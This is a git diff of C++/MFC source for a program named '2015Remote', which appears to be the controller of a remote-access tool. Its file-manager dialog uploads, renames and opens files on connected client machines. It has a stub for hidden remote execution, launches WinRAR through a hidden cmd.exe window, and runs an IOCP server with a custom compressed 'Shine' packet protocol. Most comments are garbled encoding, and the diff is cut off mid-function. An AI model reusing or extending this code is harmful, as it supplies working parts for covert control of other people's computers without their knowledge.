strString; //õ + + hFile = CreateFile(m_strSourFileFullPath.GetBuffer(0), GENERIC_READ, FILE_SHARE_READ, + NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); //ҪļĴС + if (hFile == INVALID_HANDLE_VALUE) + { + return FALSE; + } + dwSizeLow = GetFileSize (hFile, &dwSizeHigh); + + m_OperatingFileLength = (dwSizeHigh * (MAXDWORD+1)) + dwSizeLow; + CloseHandle(hFile); + // ݰļ + + ULONG ulLength =strString.GetLength() + 10; + BYTE *szBuffer = (BYTE *)LocalAlloc(LPTR, ulLength); + memset(szBuffer, 0, ulLength); + + szBuffer[0] = COMMAND_FILE_SIZE; + + //[Flag 0001 0001 E:\1.txt\0 ] + + //򱻿ض˷Ϣ COMMAND_FILE_SIZE ض˻ִCreateLocalRecvFile + //ӶֳһҪļѾھͻյ + // TOKEN_GET_TRANSFER_MODE + //һDZض˵GetFileDataӶյTOKEN_DATA_CONTINUE + + memcpy(szBuffer + 1, &dwSizeHigh, sizeof(DWORD)); + memcpy(szBuffer + 5, &dwSizeLow, sizeof(DWORD)); + + memcpy(szBuffer + 9, strString.GetBuffer(0), strString.GetLength() + 1); + + m_iocpServer->OnClientPreSending(m_ContextObject,szBuffer,ulLength); + + LocalFree(szBuffer); + + // бɾԼ + m_Remote_Upload_Job.RemoveHead(); + return TRUE; +} + + +void CFileManagerDlg::OnNMRClickListServer(NMHDR *pNMHDR, LRESULT *pResult) +{ + LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast(pNMHDR); + + CMenu Menu; + Menu.LoadMenu(IDR_MENU_FILE_OPERATION); + CMenu* SubMenu = Menu.GetSubMenu(0); + CPoint Point; + GetCursorPos(&Point); + SubMenu->DeleteMenu(2, MF_BYPOSITION); + if (m_ControlList_Server.GetSelectedCount() == 0) + { + int iCount = SubMenu->GetMenuItemCount(); + for (int i = 0; i < iCount; i++) + { + SubMenu->EnableMenuItem(i, MF_BYPOSITION | MF_GRAYED); + } + } + + SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this); + + *pResult = 0; +} + + +void CFileManagerDlg::OnOperationServerRun() +{ + CString strFileFullPath; + strFileFullPath = m_Server_File_Path + m_ControlList_Server.GetItemText(m_ControlList_Server.GetSelectionMark(), 0); + ShellExecute(NULL, "open", strFileFullPath, NULL, NULL, SW_SHOW); //CreateProcess +} + + +void CFileManagerDlg::OnOperationRename() +{ + POINT Point; + GetCursorPos(&Point); + if (GetFocus()->m_hWnd == m_ControlList_Server.m_hWnd) + { + m_ControlList_Server.EditLabel(m_ControlList_Server.GetSelectionMark()); + } + else + { + m_ControlList_Client.EditLabel(m_ControlList_Client.GetSelectionMark()); + } +} + + +void CFileManagerDlg::OnLvnEndlabeleditListServer(NMHDR *pNMHDR, LRESULT *pResult) +{ + NMLVDISPINFO *pDispInfo = reinterpret_cast(pNMHDR); + + CString strNewFileName, strExistingFileFullPath, strNewFileFullPath; + m_ControlList_Server.GetEditControl()->GetWindowText(strNewFileName); + + strExistingFileFullPath = m_Server_File_Path + m_ControlList_Server.GetItemText(pDispInfo->item.iItem, 0); + strNewFileFullPath = m_Server_File_Path + strNewFileName; + *pResult = ::MoveFile(strExistingFileFullPath.GetBuffer(0), strNewFileFullPath.GetBuffer(0)); +} + +void CFileManagerDlg::OnNMRClickListClient(NMHDR *pNMHDR, LRESULT *pResult) +{ + LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast(pNMHDR); + CMenu Menu; + Menu.LoadMenu(IDR_MENU_FILE_OPERATION); + CMenu* SubMenu = Menu.GetSubMenu(0); + CPoint Point; + GetCursorPos(&Point); + SubMenu->DeleteMenu(1, MF_BYPOSITION); + if (m_ControlList_Client.GetSelectedCount() == 0) + { + int iCount = SubMenu->GetMenuItemCount(); + for (int i = 0; i < iCount; i++) + { + SubMenu->EnableMenuItem(i, MF_BYPOSITION | MF_GRAYED); + } + } + + SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this); + *pResult = 0; +} + + +void CFileManagerDlg::OnOperationClientShowRun() +{ + CString strFileFullPath; + strFileFullPath = m_Client_File_Path + m_ControlList_Client.GetItemText(m_ControlList_Client.GetSelectionMark(), 0); + ULONG ulLength = strFileFullPath.GetLength() + 2; + BYTE szBuffer[MAX_PATH+10]; + szBuffer[0] = COMMAND_OPEN_FILE_SHOW; + memcpy(szBuffer + 1, strFileFullPath.GetBuffer(0), ulLength - 1); + m_iocpServer->OnClientPreSending(m_ContextObject, szBuffer, ulLength); +} + + +void CFileManagerDlg::OnOperationClientHideRun() +{ + // TODO: ڴ +} + + +void CFileManagerDlg::OnLvnEndlabeleditListClient(NMHDR *pNMHDR, LRESULT *pResult) +{ + NMLVDISPINFO *pDispInfo = reinterpret_cast(pNMHDR); + + CString strNewFileName, strExistingFileFullPath, strNewFileFullPath; + m_ControlList_Client.GetEditControl()->GetWindowText(strNewFileName); + + strExistingFileFullPath = m_Client_File_Path + m_ControlList_Client.GetItemText(pDispInfo->item.iItem, 0); + strNewFileFullPath = m_Client_File_Path + strNewFileName; + + if (strExistingFileFullPath != strNewFileFullPath) + { + UINT ulLength = strExistingFileFullPath.GetLength() + strNewFileFullPath.GetLength() + 3; + LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, ulLength); + szBuffer[0] = COMMAND_RENAME_FILE; //򱻿ض˷Ϣ + memcpy(szBuffer + 1, strExistingFileFullPath.GetBuffer(0), strExistingFileFullPath.GetLength() + 1); + memcpy(szBuffer + 2 + strExistingFileFullPath.GetLength(), + strNewFileFullPath.GetBuffer(0), strNewFileFullPath.GetLength() + 1); + m_iocpServer->OnClientPreSending(m_ContextObject, szBuffer, ulLength); + LocalFree(szBuffer); + + GetClientFileList("."); + } + + *pResult = 0; +} + + +void CFileManagerDlg::OnOperationCompress() +{ + POINT Point; + GetCursorPos(&Point); + if (GetFocus()->m_hWnd == m_ControlList_Server.m_hWnd) + { + ServerCompress(1); + } +} + + +VOID CFileManagerDlg::ServerCompress(ULONG ulType) +{ + POSITION Pos = m_ControlList_Server.GetFirstSelectedItemPosition(); + + CString strString; + + while(Pos) + { + int iItem = m_ControlList_Server.GetNextSelectedItem(Pos); + strString += m_Server_File_Path + m_ControlList_Server.GetItemText(iItem, 0); //C:\1.txt C:\2.txt s + strString += _T(" "); + } + + if (!strString.IsEmpty()) + { + CString strRARFileFullPath; + + strRARFileFullPath += m_Server_File_Path; + CFileCompress Dlg(this,ulType); + + if (Dlg.DoModal()==IDOK) + { + if (Dlg.m_EditRarName.IsEmpty()) + { + MessageBox("ERROR"); + return; + } + + strRARFileFullPath += Dlg.m_EditRarName; + strRARFileFullPath += ".rar"; + CompressFiles(strRARFileFullPath.GetBuffer(strRARFileFullPath.GetLength()), + strString.GetBuffer(strString.GetLength()),ulType); + } + } +} + + +BOOL CFileManagerDlg::CompressFiles(PCSTR strRARFileFullPath,PSTR strString,ULONG ulType) +{ + // ibck Ą̊́ + PSTR szExePath = "/c c:\\progra~1\\winrar\\winrar.exe a -ad -ep1 -ibck "; + //"/c c:\\progra~1\\winrar\\winrar.exe -x -ep1 -ibck " ; + ULONG ulLength =strlen(szExePath) + strlen(strRARFileFullPath)+strlen(strString)+2; + + PSTR szBuffer = (PSTR)malloc(sizeof(CHAR)* ulLength); + StringCchCopyN(szBuffer , ulLength , szExePath , strlen(szExePath)); + StringCchCatN( szBuffer ,ulLength , strRARFileFullPath , strlen(strRARFileFullPath) ); + StringCchCatN( szBuffer ,ulLength , " " ,1); + StringCchCatN( szBuffer ,ulLength , strString , strlen(strString)); + + if (ulType==1) + { + SHELLEXECUTEINFO sei = {0}; + sei.cbSize = sizeof sei; + sei.lpVerb = "open"; + sei.lpFile = "c:\\windows\\system32\\cmd.exe"; + sei.lpParameters = szBuffer; + sei.nShow = SW_HIDE; + sei.fMask = SEE_MASK_NOCLOSEPROCESS; + BOOL fReturn = ShellExecuteEx(&sei); + + CloseHandle(sei.hProcess); + return (fReturn); + } + return TRUE; +} diff --git a/server/2015Remote/FileManagerDlg.h b/server/2015Remote/FileManagerDlg.h new file mode 100644 index 0000000..b8f062e --- /dev/null +++ b/server/2015Remote/FileManagerDlg.h @@ -0,0 +1,190 @@ +#pragma once +#include "afxcmn.h" +#include "IOCPServer.h" +#include "afxwin.h" +#include "TrueColorToolBar.h" + +// CFileManagerDlg Ի + +typedef struct +{ + DWORD dwSizeHigh; + DWORD dwSizeLow; +}FILE_SIZE; + +typedef CList ListTemplate; +class CFileManagerDlg : public CDialog +{ + DECLARE_DYNAMIC(CFileManagerDlg) + +public: + CFileManagerDlg(CWnd* pParent = NULL, IOCPServer* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // ׼캯 + virtual ~CFileManagerDlg(); + + VOID CFileManagerDlg::FixedClientDiskDriverList(); + VOID CFileManagerDlg::FixedServerDiskDriverList(); + + CONTEXT_OBJECT* m_ContextObject; + IOCPServer* m_iocpServer; + CString m_strClientIP; + BYTE m_szClientDiskDriverList[0x1000]; + char m_szServerDiskDriverList[0x1000]; + + int GetServerIconIndex(LPCTSTR szVolume, DWORD dwFileAttributes) + { + SHFILEINFO sfi; + if (dwFileAttributes == INVALID_FILE_ATTRIBUTES) + dwFileAttributes = FILE_ATTRIBUTE_NORMAL; + else + dwFileAttributes |= FILE_ATTRIBUTE_NORMAL; + + SHGetFileInfo + ( + szVolume, + dwFileAttributes, + &sfi, + sizeof(SHFILEINFO), + SHGFI_SYSICONINDEX | SHGFI_USEFILEATTRIBUTES + ); + + return sfi.iIcon; + } + + CString CFileManagerDlg::GetParentDirectory(CString strPath) + { + CString strCurrentPath = strPath; + int iIndex = strCurrentPath.ReverseFind('\\'); + if (iIndex == -1) + { + return strCurrentPath; + } + CString strCurrentSubPath = strCurrentPath.Left(iIndex); + iIndex = strCurrentSubPath.ReverseFind('\\'); + if (iIndex == -1) + { + strCurrentPath = ""; + return strCurrentPath; + } + strCurrentPath = strCurrentSubPath.Left(iIndex); + + if(strCurrentPath.Right(1) != "\\") + strCurrentPath += "\\"; + return strCurrentPath; + } + + void CFileManagerDlg::EnableControl(BOOL bEnable) + { + m_ControlList_Client.EnableWindow(bEnable); + m_ControlList_Server.EnableWindow(bEnable); + m_ComboBox_Server.EnableWindow(bEnable); + m_ComboBox_Client.EnableWindow(bEnable); + } + + CTrueColorToolBar m_ToolBar_File_Server; // + // CTrueColorToolBar m_wndToolBar_Remote; + + // Ի + enum { IDD = IDD_DIALOG_FILE_MANAGER }; + +protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧ + + DECLARE_MESSAGE_MAP() +public: + CListCtrl m_ControlList_Client; + CListCtrl m_ControlList_Server; + + CImageList* m_ImageList_Large; + CImageList* m_ImageList_Small; + afx_msg void OnClose(); + virtual BOOL OnInitDialog(); + afx_msg void OnNMDblclkListServer(NMHDR *pNMHDR, LRESULT *pResult); + VOID CFileManagerDlg::FixedServerFileList(CString strDirectory=""); + VOID CFileManagerDlg::FixedClientFileList(BYTE *szBuffer, ULONG ulLength); + + CString m_Server_File_Path; + CString m_Client_File_Path; + CComboBox m_ComboBox_Server; + CComboBox m_ComboBox_Client; + virtual BOOL PreTranslateMessage(MSG* pMsg); + afx_msg void OnCbnSelchangeComboServer(); + afx_msg void OnCbnDblclkComboServer(); + CStatic m_FileServerBarPos; + CStatic m_FileClientBarPos; + + afx_msg void OnIdtServerPrev(); + afx_msg void OnIdtServerNewFolder(); + afx_msg void OnIdtServerDelete(); + afx_msg void OnIdtServerStop(); + BOOL m_bIsStop; + BOOL CFileManagerDlg::MakeSureDirectoryPathExists(char* szDirectoryFullPath); + BOOL CFileManagerDlg::DeleteDirectory(LPCTSTR strDirectoryFullPath) ; + afx_msg void OnViewBigIcon(); + afx_msg void OnViewSmallIcon(); + afx_msg void OnViewDetail(); + afx_msg void OnViewList(); + afx_msg void OnNMDblclkListClient(NMHDR *pNMHDR, LRESULT *pResult); + VOID CFileManagerDlg::GetClientFileList(CString strDirectory=""); + VOID CFileManagerDlg::OnReceiveComplete(); + afx_msg void OnLvnBegindragListServer(NMHDR *pNMHDR, LRESULT *pResult); + afx_msg void OnMouseMove(UINT nFlags, CPoint point); + + BOOL m_bDragging; + afx_msg void OnLButtonUp(UINT nFlags, CPoint point); + VOID CFileManagerDlg::DropItemOnList(); + + CListCtrl* m_DragControlList; + CListCtrl* m_DropControlList; + + HCURSOR m_hCursor; + + ListTemplate m_Remote_Upload_Job; + VOID CFileManagerDlg::OnCopyServerToClient(); + BOOL CFileManagerDlg::SendToClientJob(); + + CString m_strSourFileFullPath; + CString m_strDestFileFullPath; + __int64 m_OperatingFileLength; // ǰļܴС + VOID CFileManagerDlg::SendFileData(); + __int64 m_ulCounter; + VOID CFileManagerDlg::EndCopyServerToClient(); + + BOOL CFileManagerDlg::FixedServerToClientDirectory(LPCTSTR szDircetoryFullPath) ; + + CStatusBar m_StatusBar; // ״̬ + CProgressCtrl* m_ProgressCtrl; + + void CFileManagerDlg::ShowProgress() + { + if ((int)m_ulCounter == -1) + { + m_ulCounter = m_OperatingFileLength; + } + + int iProgress = (float)(m_ulCounter * 100) / m_OperatingFileLength; + m_ProgressCtrl->SetPos(iProgress); + + + if (m_ulCounter == m_OperatingFileLength) + { + m_ulCounter = m_OperatingFileLength = 0; + } + } + + VOID CFileManagerDlg::SendTransferMode(); + + ULONG m_ulTransferMode; + + afx_msg void OnNMRClickListServer(NMHDR *pNMHDR, LRESULT *pResult); + afx_msg void OnOperationServerRun(); + afx_msg void OnOperationRename(); + afx_msg void OnLvnEndlabeleditListServer(NMHDR *pNMHDR, LRESULT *pResult); + afx_msg void OnNMRClickListClient(NMHDR *pNMHDR, LRESULT *pResult); + afx_msg void OnOperationClientShowRun(); + afx_msg void OnOperationClientHideRun(); + afx_msg void OnLvnEndlabeleditListClient(NMHDR *pNMHDR, LRESULT *pResult); + afx_msg void OnOperationCompress(); + + VOID CFileManagerDlg::ServerCompress(ULONG ulType); + BOOL CFileManagerDlg::CompressFiles(PCSTR strRARFileFullPath,PSTR strString,ULONG ulType); +}; diff --git a/server/2015Remote/FileTransferModeDlg.cpp b/server/2015Remote/FileTransferModeDlg.cpp new file mode 100644 index 0000000..a2edad2 --- /dev/null +++ b/server/2015Remote/FileTransferModeDlg.cpp @@ -0,0 +1,60 @@ +// FileTransferModeDlg.cpp : ʵļ +// + +#include "stdafx.h" +#include "2015Remote.h" +#include "FileTransferModeDlg.h" +#include "afxdialogex.h" + + +// CFileTransferModeDlg Ի + +IMPLEMENT_DYNAMIC(CFileTransferModeDlg, CDialog) + +CFileTransferModeDlg::CFileTransferModeDlg(CWnd* pParent) + : CDialog(CFileTransferModeDlg::IDD, pParent) +{ + +} + +CFileTransferModeDlg::~CFileTransferModeDlg() +{ +} + +void CFileTransferModeDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialog::DoDataExchange(pDX); +} + + +BEGIN_MESSAGE_MAP(CFileTransferModeDlg, CDialog) + ON_CONTROL_RANGE(BN_CLICKED, IDC_OVERWRITE, IDC_JUMP_ALL, OnEndDialog) +END_MESSAGE_MAP() + + +// CFileTransferModeDlg Ϣ + + +VOID CFileTransferModeDlg::OnEndDialog(UINT id) +{ + // TODO: Add your control notification handler code here + EndDialog(id); +} + +BOOL CFileTransferModeDlg::OnInitDialog() +{ + CDialog::OnInitDialog(); + + CString strTips; + strTips.Format("˥ զ.... \" %s \" ", m_strFileName); + + for (int i = 0; i < strTips.GetLength(); i += 120) + { + strTips.Insert(i, "\n"); + i += 1; + } + + SetDlgItemText(IDC_TIP, strTips); + return TRUE; // return TRUE unless you set the focus to a control + // 쳣: OCX ҳӦ FALSE +} diff --git a/server/2015Remote/FileTransferModeDlg.h b/server/2015Remote/FileTransferModeDlg.h new file mode 100644 index 0000000..3f77524 --- /dev/null +++ b/server/2015Remote/FileTransferModeDlg.h @@ -0,0 +1,25 @@ +#pragma once + + +// CFileTransferModeDlg Ի + +class CFileTransferModeDlg : public CDialog +{ + DECLARE_DYNAMIC(CFileTransferModeDlg) + +public: + CFileTransferModeDlg(CWnd* pParent = NULL); // ׼캯 + virtual ~CFileTransferModeDlg(); + + CString m_strFileName; + + // Ի + enum { IDD = IDD_DIALOG_TRANSMODE }; + +protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧ + afx_msg void OnEndDialog(UINT id); + DECLARE_MESSAGE_MAP() +public: + virtual BOOL OnInitDialog(); +}; diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp new file mode 100644 index 0000000..45dcb0e --- /dev/null +++ b/server/2015Remote/IOCPServer.cpp @@ -0,0 +1,776 @@ +#include "StdAfx.h" +#include "IOCPServer.h" +#include "2015Remote.h" + +#include +#include "zlib.h" +#include "zconf.h" +using namespace std; + +CRITICAL_SECTION IOCPServer::m_cs = {0}; + +#define HUERISTIC_VALUE 2 + +#define SAFE_DELETE(p) if(p){ delete (p); (p) = NULL; } + +IOCPServer::IOCPServer(void) +{ + WSADATA wsaData; + if (WSAStartup(MAKEWORD(2,2), &wsaData)!=0) + { + return; + } + + m_hCompletionPort = NULL; + m_sListenSocket = INVALID_SOCKET; + m_hListenEvent = WSA_INVALID_EVENT; + m_hListenThread = INVALID_HANDLE_VALUE; + + m_ulMaxConnections = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("Settings", "MaxConnection"); + + if (m_ulMaxConnections==0) + { + m_ulMaxConnections = 100; + } + + InitializeCriticalSection(&m_cs); + + m_ulWorkThreadCount = 0; + + m_bTimeToKill = FALSE; + + m_ulThreadPoolMin = 0; + m_ulThreadPoolMax = 0; + m_ulCPULowThreadsHold = 0; + m_ulCPUHighThreadsHold = 0; + m_ulCurrentThread = 0; + m_ulBusyThread = 0; + + m_ulKeepLiveTime = 0; + + m_hKillEvent = NULL; + + memcpy(m_szPacketFlag,"Shine",FLAG_LENGTH); + + m_NotifyProc = NULL; + m_OfflineProc = NULL; +} + + +IOCPServer::~IOCPServer(void) +{ + m_bTimeToKill = TRUE; + + Sleep(10); + SetEvent(m_hKillEvent); + + Sleep(10); + + if (m_hKillEvent!=NULL) + { + CloseHandle(m_hKillEvent); + } + + if (m_sListenSocket!=INVALID_SOCKET) + { + closesocket(m_sListenSocket); + m_sListenSocket = INVALID_SOCKET; + } + + if (m_hCompletionPort!=INVALID_HANDLE_VALUE) + { + CloseHandle(m_hCompletionPort); + m_hCompletionPort = INVALID_HANDLE_VALUE; + } + + if (m_hListenEvent!=WSA_INVALID_EVENT) + { + CloseHandle(m_hListenEvent); + m_hListenEvent = WSA_INVALID_EVENT; + } + + while (!m_ContextConnectionList.IsEmpty()) + { + CONTEXT_OBJECT *ContextObject = m_ContextConnectionList.RemoveHead(); + delete ContextObject; + } + + while (!m_ContextFreePoolList.IsEmpty()) + { + CONTEXT_OBJECT *ContextObject = m_ContextFreePoolList.RemoveHead(); + delete ContextObject; + } + + DeleteCriticalSection(&m_cs); + m_ulWorkThreadCount = 0; + + m_ulThreadPoolMin = 0; + m_ulThreadPoolMax = 0; + m_ulCPULowThreadsHold = 0; + m_ulCPUHighThreadsHold = 0; + m_ulCurrentThread = 0; + m_ulBusyThread = 0; + m_ulKeepLiveTime = 0; + + WSACleanup(); +} + +BOOL IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) +{ + m_NotifyProc = NotifyProc; + m_OfflineProc = OffProc; + m_hKillEvent = CreateEvent(NULL,FALSE,FALSE,NULL); + + if (m_hKillEvent==NULL) + { + return FALSE; + } + + m_sListenSocket = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED); //׽ + + if (m_sListenSocket == INVALID_SOCKET) + { + return FALSE; + } + + m_hListenEvent = WSACreateEvent(); + + if (m_hListenEvent == WSA_INVALID_EVENT) + { + closesocket(m_sListenSocket); + + m_sListenSocket = INVALID_SOCKET; + return FALSE; + } + + int iRet = WSAEventSelect(m_sListenSocket, //׽¼йFD_ACCEPT + m_hListenEvent, + FD_ACCEPT); + + if (iRet == SOCKET_ERROR) + { + closesocket(m_sListenSocket); + + m_sListenSocket = INVALID_SOCKET; + WSACloseEvent(m_hListenEvent); + + m_hListenEvent = WSA_INVALID_EVENT; + + return FALSE; + } + + SOCKADDR_IN ServerAddr; + ServerAddr.sin_port = htons(uPort); + ServerAddr.sin_family = AF_INET; + ServerAddr.sin_addr.s_addr = INADDR_ANY; //ʼ + + //׻ֺbind + iRet = bind(m_sListenSocket, + (sockaddr*)&ServerAddr, + sizeof(ServerAddr)); + + if (iRet == SOCKET_ERROR) + { + int a = GetLastError(); + closesocket(m_sListenSocket); + + m_sListenSocket = INVALID_SOCKET; + WSACloseEvent(m_hListenEvent); + + m_hListenEvent = WSA_INVALID_EVENT; + + return FALSE; + } + + iRet = listen(m_sListenSocket, SOMAXCONN); + + if (iRet == SOCKET_ERROR) + { + closesocket(m_sListenSocket); + + m_sListenSocket = INVALID_SOCKET; + WSACloseEvent(m_hListenEvent); + + m_hListenEvent = WSA_INVALID_EVENT; + + return FALSE; + } + + m_hListenThread = + (HANDLE)CreateThread(NULL, + 0, + (LPTHREAD_START_ROUTINE)ListenThreadProc, + (void*)this, //Threadصthis ǵ̻߳صеijԱ + 0, + NULL); + if (m_hListenThread==INVALID_HANDLE_VALUE) + { + closesocket(m_sListenSocket); + + m_sListenSocket = INVALID_SOCKET; + WSACloseEvent(m_hListenEvent); + + m_hListenEvent = WSA_INVALID_EVENT; + return FALSE; + } + + //߳ 1 2 + InitializeIOCP(); + return TRUE; +} + + +//1ɶ˿ +//2߳ +BOOL IOCPServer::InitializeIOCP(VOID) +{ + m_hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, 0 ); + if ( m_hCompletionPort == NULL ) + { + return FALSE; + } + + if (m_hCompletionPort==INVALID_HANDLE_VALUE) + { + return FALSE; + } + + SYSTEM_INFO SystemInfo; + GetSystemInfo(&SystemInfo); //PCм + + m_ulThreadPoolMin = 1; + m_ulThreadPoolMax = 16; + m_ulCPULowThreadsHold = 10; + m_ulCPUHighThreadsHold = 75; + m_cpu.Init(); + + ULONG ulWorkThreadCount = m_ulThreadPoolMax; + + HANDLE hWorkThread = NULL; + for (int i=0; im_hCompletionPort; + DWORD dwTrans = 0; + + PCONTEXT_OBJECT ContextObject = NULL; + LPOVERLAPPED Overlapped = NULL; + OVERLAPPEDPLUS* OverlappedPlus = NULL; + ULONG ulBusyThread = 0; + BOOL bError = FALSE; + + InterlockedIncrement(&This->m_ulCurrentThread); + InterlockedIncrement(&This->m_ulBusyThread); + + while (This->m_bTimeToKill==FALSE) + { + InterlockedDecrement(&This->m_ulBusyThread); + BOOL bOk = GetQueuedCompletionStatus( + hCompletionPort, + &dwTrans, + (LPDWORD)&ContextObject, + &Overlapped,INFINITE); + + DWORD dwIOError = GetLastError(); + + OverlappedPlus = CONTAINING_RECORD(Overlapped, OVERLAPPEDPLUS, m_ol); + + ulBusyThread = InterlockedIncrement(&This->m_ulBusyThread); //1 1 + if ( !bOk && dwIOError != WAIT_TIMEOUT ) //Է׻Ʒ˹ر + { + if (ContextObject && This->m_bTimeToKill == FALSE &&dwTrans==0) + { + This->RemoveStaleContext(ContextObject); + } + SAFE_DELETE(OverlappedPlus); + continue; + } + if (!bError) + { + //һµ̵̵̳߳߳߳ + if (ulBusyThread == This->m_ulCurrentThread) + { + + if (ulBusyThread < This->m_ulThreadPoolMax) + { + if (ContextObject != NULL) + { + HANDLE hThread = (HANDLE)CreateThread(NULL, + 0, + (LPTHREAD_START_ROUTINE)WorkThreadProc, + (void*)This, + 0, + NULL); + + InterlockedIncrement(&This->m_ulWorkThreadCount); + + CloseHandle(hThread); + } + } + } + + if (!bOk && dwIOError == WAIT_TIMEOUT) + { + if (ContextObject == NULL) + { + if (This->m_ulCurrentThread > This->m_ulThreadPoolMin) + { + break; + } + + bError = TRUE; + } + } + } + + if (!bError) + { + if(bOk && OverlappedPlus!=NULL && ContextObject!=NULL) + { + try + { + This->HandleIO(OverlappedPlus->m_ioType, ContextObject, dwTrans); + + ContextObject = NULL; + } + catch (...) {} + } + } + + SAFE_DELETE(OverlappedPlus); + } + SAFE_DELETE(OverlappedPlus); + + InterlockedDecrement(&This->m_ulWorkThreadCount); + InterlockedDecrement(&This->m_ulCurrentThread); + InterlockedDecrement(&This->m_ulBusyThread); + + return 0; +} + +BOOL IOCPServer::HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWORD dwTrans) //ڹ߳б +{ + BOOL bRet = FALSE; + + if (IOInitialize == PacketFlags) + { + bRet = OnClientInitializing(ContextObject, dwTrans); + } + + if (IORead==PacketFlags) //WsaResv + { + bRet = OnClientReceiving(ContextObject,dwTrans); + } + + if (IOWrite==PacketFlags) //WsaSend + { + bRet = OnClientPostSending(ContextObject,dwTrans); + } + return bRet; +} + + +BOOL IOCPServer::OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTrans) +{ + return TRUE; +} + +BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans) +{ + CLock cs(m_cs); + try + { + if (dwTrans == 0) //Էر׽ + { + RemoveStaleContext(ContextObject); + return FALSE; + } + + ContextObject->InCompressedBuffer.WriteBuffer((PBYTE)ContextObject->szBuffer,dwTrans); //յݿԼڴwsabuff 8192 + + while (ContextObject->InCompressedBuffer.GetBufferLength() > HDR_LENGTH) //鿴ݰ + { + char szPacketFlag[FLAG_LENGTH]= {0}; + + CopyMemory(szPacketFlag, ContextObject->InCompressedBuffer.GetBuffer(),FLAG_LENGTH); + + if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0) + { + throw "bad Buffer"; + } + + ULONG ulPackTotalLength = 0; + CopyMemory(&ulPackTotalLength, ContextObject->InCompressedBuffer.GetBuffer(FLAG_LENGTH), sizeof(ULONG));//Shine[50][kdjfkdjfkj] + + //ȡݰܳ + + //50 + if (ulPackTotalLength && (ContextObject->InCompressedBuffer.GetBufferLength()) >= ulPackTotalLength) + { + ULONG ulOriginalLength = 0; + ContextObject->InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH); + + ContextObject->InCompressedBuffer.ReadBuffer((PBYTE) &ulPackTotalLength, sizeof(ULONG)); + + ContextObject->InCompressedBuffer.ReadBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG)); + + ULONG ulCompressedLength = ulPackTotalLength - HDR_LENGTH; //461 - 13 448 + PBYTE CompressedBuffer = new BYTE[ulCompressedLength]; //ûнѹ + + PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength]; //ѹڴ 436 + + if (CompressedBuffer == NULL || DeCompressedBuffer == NULL) + { + throw "Bad Allocate"; + } + ContextObject->InCompressedBuffer.ReadBuffer(CompressedBuffer, ulCompressedLength); //ݰǰԴûнѹȡpData 448 + + int iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength); //ѹ + + if (iRet == Z_OK) + { + ContextObject->InDeCompressedBuffer.ClearBuffer(); + ContextObject->InCompressedBuffer.ClearBuffer(); + ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength); + + m_NotifyProc(ContextObject); //֪ͨ + } + else + { + throw "Bad Buffer"; + } + + delete [] CompressedBuffer; + delete [] DeCompressedBuffer; + } + else + { + break; + } + } + PostRecv(ContextObject); //ͶµĽݵ + }catch(...) + { + ContextObject->InCompressedBuffer.ClearBuffer(); + ContextObject->InDeCompressedBuffer.ClearBuffer(); + + PostRecv(ContextObject); + } + return TRUE; +} + +VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) +{ + if (ContextObject == NULL) + { + return; + } + + try + { + if (ulOriginalLength > 0) + { + unsigned long ulCompressedLength = (double)ulOriginalLength * 1.001 + 12; + LPBYTE CompressedBuffer = new BYTE[ulCompressedLength]; + int iRet = compress(CompressedBuffer, &ulCompressedLength, (LPBYTE)szBuffer, ulOriginalLength); + + if (iRet != Z_OK) + { + delete [] CompressedBuffer; + return; + } + + ULONG ulPackTotalLength = ulCompressedLength + HDR_LENGTH; + + ContextObject->OutCompressedBuffer.WriteBuffer((LPBYTE)m_szPacketFlag,FLAG_LENGTH); + + ContextObject->OutCompressedBuffer.WriteBuffer((PBYTE)&ulPackTotalLength, sizeof(ULONG)); + + ContextObject->OutCompressedBuffer.WriteBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG)); + + ContextObject->OutCompressedBuffer.WriteBuffer(CompressedBuffer, ulCompressedLength); + + delete [] CompressedBuffer; + } + + OVERLAPPEDPLUS* OverlappedPlus = new OVERLAPPEDPLUS(IOWrite); + + BOOL bOk = PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD)ContextObject, &OverlappedPlus->m_ol); + if ( (!bOk && GetLastError() != ERROR_IO_PENDING)) //Ͷʧ + { + RemoveStaleContext(ContextObject); + SAFE_DELETE(OverlappedPlus); + return; + } + }catch(...){} +} + +BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompletedLength) +{ + try + { + DWORD ulFlags = MSG_PARTIAL; + + ContextObject->OutCompressedBuffer.RemoveComletedBuffer(ulCompletedLength); //ɵݴݽṹȥ + if (ContextObject->OutCompressedBuffer.GetBufferLength() == 0) + { + ContextObject->OutCompressedBuffer.ClearBuffer(); + return true; //ߵ˵ǵȫ + } + else + { + OVERLAPPEDPLUS * OverlappedPlus = new OVERLAPPEDPLUS(IOWrite); //û ǼͶ + + 